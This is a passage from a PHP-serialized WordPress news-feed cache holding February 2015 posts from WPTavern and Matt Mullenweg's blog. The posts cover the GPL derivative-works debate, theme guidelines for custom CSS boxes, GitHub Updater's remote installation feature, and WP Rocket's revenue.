Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:19:\"Matt: Amazing Dance\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44669\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"http://ma.tt/2015/02/amazing-dance/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:183:\"<p></p>\n<p>Incredible music (&#8220;Take Me To Church&#8221; by Hozier), incredible artist (the dancer, Sergei Polunin), and incredible photographer / director (David LaChapelle).</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 19:08:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"WPTavern: Tackling the Issue of WordPress Derivative Works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38822\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/tackling-the-issue-of-wordpress-derivative-works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6882:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png\" rel=\"prettyphoto[38822]\"><img class=\"size-full wp-image-24825\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png?resize=639%2C200\" alt=\"GPL License Plate Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/benfrantzdale/170212544/\">BenFrantzDale</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-nc-sa/2.0/\">cc</a>\n<p>In 2009-10, there <a title=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\" href=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\">was an intense debate</a> between the co-creator of WordPress, Matt Mullenweg, and the founder of DIY Themes, Chris Pearson. The debate centered on whether or not Thesis needed to be 100% GPL licensed. Thesis lifted lines of code from the core of WordPress, which <a title=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\" href=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\">some people claimed</a> made Thesis a derivative of WordPress. Pearson disagreed with the assessment which lead Mullenweg to insinuate <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\">he would take the matter to court</a>.</p>\n<p>Five years after that memorable debate, Richard Best of WP and Legal Stuff, <a title=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\" href=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\">has published a thorough analysis</a> of WordPress themes, the GPL license, and what is a derivative work. His post is a breath of fresh air and the best I&#8217;ve read so far on the subject. Best doesn&#8217;t sell themes or plugins in the WordPress ecosystem giving him a neutral position to discuss the matter. He also has a legal background, but does not offer legal advice through his site.</p>\n<p>Determining what defines a derivative work is complex, but according to Best, no one truly knows the answer to the question:</p>\n<blockquote><p>The reason we don’t truly know the answer is that the courts haven’t decided a case that is squarely on point (there are potentially analogous cases, of course, but – as far as I’m aware – no GPL or similar case directly on point).  It is only the courts (in the absence of legislative intervention) that can finally determine the matter.</p>\n<p>Courts might apply what some might say are orthodox notions of what it means for something to be a derivative work or they might incrementally (some might say dangerously) develop the law on this point but we just don’t know. And even if the courts of one country made a definitive ruling on the point, courts in other countries – where other lawsuits might be commenced – could decide differently. As a result, uncertainty remains.</p></blockquote>\n<p>The debate against Thesis never went to court, but it spawned several conversations throughout the WordPress community, <a title=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\" href=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\"> like this one from Chip Bennett</a>. This is why <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\">some people</a> rallied for a court case to settle the matter once and for all. As far as WordPress is concerned, I think it&#8217;s unlikely a court case will ever take place.</p>\n<h2>Influence Instead of Lawyers</h2>\n<p>Mullenweg has other ways of influencing people to license their WordPress products 100% GPL which doesn&#8217;t require a lawyer. A good example is <a title=\"http://designcrumbs.com/automatically-blackballed\" href=\"http://designcrumbs.com/automatically-blackballed\">when Jake Caputo was banned</a> from speaking or participating at WordCamps because he didn&#8217;t license his themes 100% GPL on ThemeForest.</p>\n<p>After going back and forth in <a title=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\" href=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\">public debates</a>, ThemeForest <a title=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\" href=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\">eventually added the ability</a> for authors to choose between split-license and 100% GPL. After changing the license on all of his products to 100% GPL, Caputo was allowed to speak at WordCamps again. It&#8217;s this type of influence that prevents arguments from reaching the court system.</p>\n<h2>Only a Court Can Decide</h2>\n<p>There aren&#8217;t many posts these days debating the merits of GPL and WordPress. Best does a great job explaining why (emphasis mine):</p>\n<blockquote><p>I think the GPL/theme debate has reached the stage where it’s fair to say that a significant proportion of the WordPress community now frowns upon premium theme providers who either don’t GPL-license at all or (probably to a lesser extent) split-license their themes. That might not be good for business and that, for some, may be the bottom line.</p>\n<p>For some people, this frowning may be caused by a particular view of what the GPL requires <em>but</em> for others – and I think this is a particularly important point – it may be caused by a recognition of the enormous opportunities that WordPress makes possible and the open source spirit and generosity that pervades much of the WordPress community. <strong>I think we’ve reached the stage where, for some people, this is more about a community norm than it is about a strict reading of the GPL </strong>(not to mention the tedium of listening to more and more competing GPL arguments when, ultimately, only a court can decide).</p></blockquote>\n<p>If a debate like the one in 2010 were to happen again, I think we&#8217;d see a huge outcry from every corner of the community for a court case to settle the matter. After all, without that, everything else is a moot point, right? If you sell commercial WordPress themes and plugins, I highly encourage you to read his post. Also read his thoughts on a somewhat related topic, the <a title=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\" href=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\">assumptions of GPL and automatic inheritance</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 00:37:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WordPress Theme Review Team Sets New Guidelines for Custom CSS Boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38826\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"http://wptavern.com/wordpress-theme-review-team-sets-new-guidelines-for-custom-css-boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2252:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg\" rel=\"prettyphoto[38826]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg?resize=1024%2C491\" alt=\"css\" class=\"aligncenter size-full wp-image-38846\" /></a></p>\n<p>Custom CSS boxes in themes are a common feature that allow users to easily add their own styles without having to edit any theme files. The inclusion of this feature in themes, as opposed to plugins, has long been a hotly contested issue among theme developers.</p>\n<p>WordPress.org Theme Review team admin Justin Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">announced</a> today that the team has agreed upon new guidelines for the inclusion of CSS boxes. He summarized the conclusions following the debate:</p>\n<ul>\n<li>It’s preferred that theme authors leave this feature to plugins.</li>\n<li>However, it is allowed if handled safely.</li>\n<li>The edit_theme_options capability is required (like all theme options).</li>\n<li>The wp_filter_nohtml_kses(), wp_strip_all_tags(), or equivalent function must be used to sanitize the data before it’s saved into the database.</li>\n</ul>\n<p>The main issue here is sanitizing the CSS to make sure it&#8217;s safe to store in the database. The guidelines do not cover validating the CSS, as that is less of a safety concern.</p>\n<p>While adding custom CSS boxes still falls within theme territory, it is best to consider relegating this feature to a plugin in order to keep your theme safe and lean. If you still wish to offer this feature in your theme, Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">posted sample code</a> that will provide a good starting place for adding a custom CSS box to WordPress&#8217; native customizer.</p>\n<p>Commercial theme authors who want to keep pace with WordPress.org theme review requirements will want to review the updated guidelines. The theme review team recommends using a plugin, such as <a href=\"http://jetpack.me/support/custom-css/\" target=\"_blank\">Jetpack&#8217;s custom CSS module</a>, as a safe alternative to allowing the theme to save custom CSS to the database.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 23:53:17 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:10;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: iThemes to Host Free Online Training Event: Intro to WordPress Web Design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38746\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://wptavern.com/ithemes-to-host-free-online-training-event-intro-to-wordpress-web-design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2962:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg\" rel=\"prettyphoto[38746]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg?resize=932%2C445\" alt=\"ithemes-training\" class=\"aligncenter size-full wp-image-38816\" /></a></p>\n<p>iThemes will be conducting a free online training event next week for those who are interested in getting started with WordPress. The <a href=\"https://ithemes.com/2015/02/05/free-intro-wordpress-web-design-workshop-february-18-20-2015/\" target=\"_blank\">Intro to WordPress Web Design</a> course will run from February 18 &#8211; 20 and will cover everything from learning how to set up a site to working with plugins and management tools:</p>\n<ul>\n<li>Understand what WordPress is, where it came from, why everything is a &#8220;post&#8221;—and who is Dolly?</li>\n<li>Unlock your WordPress site &#8211; learn how to set up your site the right way</li>\n<li>Unmask WordPress &#8211; learn the basics of how WordPress displays content for your site</li>\n<li>Supercharge your WordPress site with plugins</li>\n<li>Simplify your life with WordPress management tools and tips</li>\n<li>What to do to take your knowledge of WordPress to the next level</li>\n</ul>\n<p>The workshop is open to the first 1,000 registrants and will be taught by Benjamin Bradley, iThemes&#8217; Training full-time instructor. Bradley has been working with the company for the past five years to build out a library of 600+ instructional videos for the community surrounding iThemes&#8217; products. A chat room will be available for discussion and Q&amp;A during the the online event.</p>\n<p>iThemes CEO Cory Miller began investing in the creation of training resources years ago after noticing that a lack of quality WordPress education material was putting an extra burden on his support staff. &#8220;We started this free online workshop several years ago in response to seeing many of the same questions being asked in our support area year after year,&#8221; Miller said.</p>\n<p>&#8220;We felt our customers weren&#8217;t able to make meaningful progress in learning the basics of WordPress web design because there weren&#8217;t good resources to do so. The need is there and it is great, in particular for online learning like this. It&#8217;s part of our contribution to building up our customers, but also the greater WordPress community,&#8221; he said.</p>\n<p>The event is not just for iThemes customers but is open to anyone. If you can&#8217;t attend the training sessions live, iThemes plans to make the recordings available on its blog after the event. If you or a family member, friend, or client want an approachable introduction to WordPress, <a href=\"https://attendee.gotowebinar.com/register/5530303058928143361\" target=\"_blank\">register for the course</a> at iThemes. Each session is only one hour and will put you on track to managing your own WordPress website.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:33:52 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:11;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"Matt: On the Tim Ferriss Podcast\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44665\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:48:\"http://ma.tt/2015/02/on-the-tim-ferriss-podcast/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:581:\"<p>I had the great fun the other week of hanging with Tim Ferriss on his podcast, an episode he titled <a href=\"http://fourhourworkweek.com/2015/02/09/matt-mullenweg/\">Matt Mullenweg on Polyphasic Sleep, Tequila, and Building Billion-Dollar Companies</a>. His previous guest <a href=\"http://fourhourworkweek.com/2015/02/02/arnold-schwarzenegger/\">was Arnold Schwarzenegger</a> (!) and if you <a href=\"http://fourhourworkweek.com/category/the-tim-ferriss-show/\">dig into the podcast archives there are some really amazing episodes</a>, I&#8217;m working my way through them now.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:30:46 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:12;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"WPTavern: GitHub Updater 4.1 to Add Remote Installation for WordPress Plugins and Themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38758\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:98:\"http://wptavern.com/github-updater-4-1-to-add-remote-installation-for-wordpress-plugins-and-themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3688:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg\" rel=\"prettyphoto[38758]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg?resize=1025%2C381\" alt=\"WordPress Versus Github\" class=\"aligncenter size-full wp-image-15216\" /></a></p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is a plugin that developers often use to enable automatic updates to GitHub or Bitbucket-hosted WordPress plugins and themes. The project was started in July 2013 by <a href=\"http://thefragens.com/\" target=\"_blank\">Andy Fragen</a>, a trauma surgeon and plugin developer. Over the past two years GitHub Updater has received improvements from 14 <a href=\"https://github.com/afragen/github-updater/graphs/contributors\" target=\"_blank\">contributors</a>.</p>\n<p>Fragen&#8217;s work on GitHub Updater makes it possible for developers to stay in their <a href=\"http://wptavern.com/wordpress-org-vs-github-for-hosting-wordpress-plugins-and-themes\" target=\"_blank\">preferred GitHub/Bitbucket workflow</a> and still ship updates for plugins and themes to their users. After reading about how <a href=\"http://wptavern.com/wp-pusher-aims-to-provide-pain-free-deployment-of-wordpress-themes-and-plugins-from-github\" target=\"_blank\">WP Pusher is extending WordPress&#8217; built-in auto updater to deploy remotely hosted themes and plugins</a>, Fragen was inspired to investigate the possibility of adding remote installation of WordPress extensions to his GitHub Updater.</p>\n<p>He now has the <code>develop</code> branch of the project working to successfully install both public and private GitHub or Bitbucket repositories remotely. &#8220;I must confess, the hardest part was getting everything in the Settings API functioning,&#8221; Fragen said.</p>\n<p>With the help of some code from the <a href=\"https://wordpress.org/plugins/zero-spam/\" target=\"_blank\">WordPress Zero Spam</a> plugin by Ben Marshall, and a few lines from <a href=\"http://tgmpluginactivation.com/\" target=\"_blank\">TGM Plugin Activation</a> by Thomas Griffin, he was able to get a tabbed settings interface in place in addition to the plugin dependency portion of the task.</p>\n<p>&#8220;After setting up the tabs in the Settings page I was able to simply create the correct endpoint for GitHub and Bitbucket,&#8221; Fragen said. &#8220;I thought allowing for private repository remote installation might prove more difficult but a couple of modifications in other parts of the plugin made this relatively painless. It certainly makes downloading a repo from GitHub, renaming it correctly, and then uploading it a single-click experience.&#8221;</p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is <a href=\"https://github.com/afragen/github-updater/issues/34\" target=\"_blank\">not allowed in the WordPress.org directory</a>, as the guidelines forbid official plugins from allowing updates from anywhere outside of WordPress.org. Developers usually opt for using the GitHub Updater when they want to host their plugins on GitHub/Bitbucket, or need to provide updates for private repositories.</p>\n<p>The <a href=\"http://thefragens.com/2015/02/github-updater-and-remote-installation/\" target=\"_blank\">4.1 release of GitHub Updater</a> will include both remote installation and automatic updating in one package. If you want to test the functionality now, you can check out the <code>develop</code> branch. Feel free to log your issues and feedback on <a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub</a>, as Fragen will be incorporating bug fixes into the 4.1 release.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:32:56 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:13;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: WP Rocket Grows From $0 to $35K in Monthly Revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38729\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3947:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png\" rel=\"prettyphoto[38729]\"><img class=\"aligncenter size-full wp-image-38763\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png?resize=672%2C281\" alt=\"WP Rocket Featured Image\" /></a></p>\n<p>WP Media, the company behind WordPress caching plugin WP Rocket, <a title=\"http://blog.wp-rocket.me/transparency-matters/\" href=\"http://blog.wp-rocket.me/transparency-matters/\">published a post</a> that highlights how successful the plugin has been since launching a year and a half ago. When we wrote about the <a title=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\" href=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\">international launch of WP Rocket</a>, we questioned whether it would be able to compete against all of the free, robust options available.</p>\n<p>In a show of transparency, WP Media shares stats that indicate the plugin is doing well. Since launching a year and a half ago, WP Rocket has achieved the following milestones while being a 100% bootstrapped company:</p>\n<ul>\n<li>$0 to $35 000 in monthly revenue</li>\n<li>0 to +15 000 websites using WP Rocket</li>\n<li>0 to +4300 customers.</li>\n</ul>\n<p>Despite launching the product without a business plan, customers have shown they&#8217;re willing to buy a caching solution that&#8217;s simple to configure and use.</p>\n<p>Jean-Baptiste Marchand-Arvier, Co-founder of WP Rocket, says the move towards greater transparency is inspired by other companies that have revealed revenue numbers, recruitment strategies, and productivity tips.</p>\n<blockquote><p>We are really inspired by great companies like <a href=\"https://bufferapp.com/\">Buffer</a>, <a href=\"http://baremetrics.io\">Baremetrics</a> and <a href=\"https://mattermark.com/\">Mattermark</a> where transparency is a company culture. They share it through several channels:</p>\n<ul>\n<li><a href=\"https://open.bufferapp.com\">Buffer Open Blog</a>, “Our journey to greater productivity, more transparency and a happier work culture”</li>\n<li><a href=\"https://medium.com/@DanielleMorrill\">Medium posts of Danielle Morrill</a>, CEO and Cofounder of Mattermark</li>\n<li><a href=\"https://baremetrics.io/blog\">Baremetrics Blog</a></li>\n</ul>\n<p><strong>These companies have helped us greatly</strong> by sharing a lot of internal information including their monthly revenue, and more.</p></blockquote>\n<p>At the end of 2014, <a title=\"https://pippinsplugins.com/2014-review/\" href=\"https://pippinsplugins.com/2014-review/\">Easy Digital Downloads</a> and <a title=\"http://wpninjas.com/2014-review/\" href=\"http://wpninjas.com/2014-review/\">WP Ninjas</a> published year-end reviews that show how well each plugin has done. However, Matt Medeiros, of MattReport.com <a title=\"http://mattreport.com/precursor-greatness/\" href=\"http://mattreport.com/precursor-greatness/\">cautions,</a> that while reading about the success of others can be motivational, it can also be depressing.</p>\n<blockquote><p>Entrepreneurs or small business owners that have been in the game month-after-month or 3 years in still struggling to make it. “Everyone is doing better shit than me.” or “Look at the money they are making! Why can’t I?”</p>\n<p>The new social has amplified everyone else’s success while making yours seem insignificant.</p></blockquote>\n<p>I want to see as many companies as possible open up to their customers and readers by publishing revenue numbers and strategies that don&#8217;t work out as intended. Aside from knowing the numbers, I think a lot of people in the community would love to read about the struggles businesses are having and what they&#8217;re doing to overcome them.</p>\n<p>WP Rocket is proving that, despite jumping into an established market, there&#8217;s enough room for new products to 